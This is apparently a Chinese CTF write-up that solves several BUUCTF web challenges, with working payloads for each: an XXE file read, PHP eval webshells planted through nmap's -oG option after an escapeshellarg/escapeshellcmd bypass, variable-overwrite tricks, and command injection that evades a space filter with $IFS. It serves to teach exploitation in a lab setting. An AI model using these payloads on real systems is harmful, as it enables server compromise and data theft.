目录
[NCTF2019]Fake XML cookbook
题目提示xml,打开网址发现是一个登录框,首先想到的是sql,但是loadXML()函数没有报错返回值,又想到了xxe,尝试一下,flag的位置是一个一个猜测并尝试出来的。
Payload:
POST
<?xml version="1.1" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>admin</password></user>
[BUUCTF 2018]Online Tool
发现代码:
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellarg ($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
函数escapeshellarg和escapeshellarg没见过,搜一下看看。
在看了几个分析后理解了一下。
分析:
1.当escapeshellarg和escapeshellarg同时出现时,存在转义漏洞。
2.当经过escapeshellarg处理时会先对单引号进行转义(在单引号前加一个\),然后再用单引号包裹住左右两部分,使其内容连接。
3.再经过escapeshellcmd处理,会对\以及最后那个不配对儿的引号进行了转义。
例如:172.17.0.2' -v -d a=1 –> '172.17.0.2'\'' -v -d a=1' -> '172.17.0.2'\\'' -v -d a=1\'
利用namp中的-oG将一句话木马写入文件中。
Payload:
?host='<?php @eval($_POST["feng"]);?> -oG feng.php '
蚁剑连接(注意路径和文件名称)
然后在根目录下找到flag。
[BJDCTF2020]Mark loves cat
网站中没有提示。
扫一下目录发现git泄露。
在github上得到源码(githack一直出不来):
Index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
代码很简单,很明显的变量覆盖。
解法一:
利用GET将$yds用$flag覆盖。
Payload:
?yds=flag
这个利用了:
foreach($_GET as $x => $y){
$$x = $$y;
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
$yds=$flag,相当于$yds的值被$flag的值覆盖了。
解法二:
利用
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
条件是POST或者GET必须有一个flag=flag。
但因为POST如果传入flag=flag的话,$flag中的值就会被flag覆盖。
Payload:
?is=flag&&flag=flag
解法三:
利用
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
条件,首先我们需要让$handsome的值被$flag覆盖,然后第二个GET的等号左边的内容与GET的flag的值一样,且第二个GET的等号右边不能是flag。
Payload:
?handsome=flag&&a=1&&flag=a
解法四(这个没想到,在网上学的):
利用
echo "the flag is: ".$flag;
得到flag,必须绕过前边所有的if,利用了强等号判断参数类别的特点。
Payload:
?1=flag&&flag=1
[WUSTCTF2020]朴实无华
扫一下发现存在robots.txt文件。
访问。
在响应头中发现/fl4g.php。
存在乱码,利用火狐自带的恢复编码试一下,得到代码。
源码如下:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
需要绕过三个if条件。
第一层:
intval($num) < 2020 && intval($num + 1) > 2021
当num等于2e4时,利用PHP弱类型绕过2020,利用intval绕过2021。
第二层:
md5若碰撞让其的md5值等于本身,这个我直接写过专门讲md5碰撞的文章。
利用0e215962017的md5值和自身相等。
所以用md5= 0e215962017可以绕过。
第三层:
就是相当于命令执行,首先ls一下。
空格可以用<、$IFS$1、${IFS}、$IFS$9等等代替。
Payload:
?num=2e5&&md5=0e215962017&&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到flag。
[网鼎杯 2020 朱雀组]Nmap
考察nmap的使用。
选项 解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
尝试看能不能利用-oA来保存php文件。
利用空格和单引号绕过函数处理。(具体不太理解)
发现php好像被过滤。
可以传入phtml文件。
Payload:
' <?= @eval($_POST[feng]); ?> -oG feng.phtml '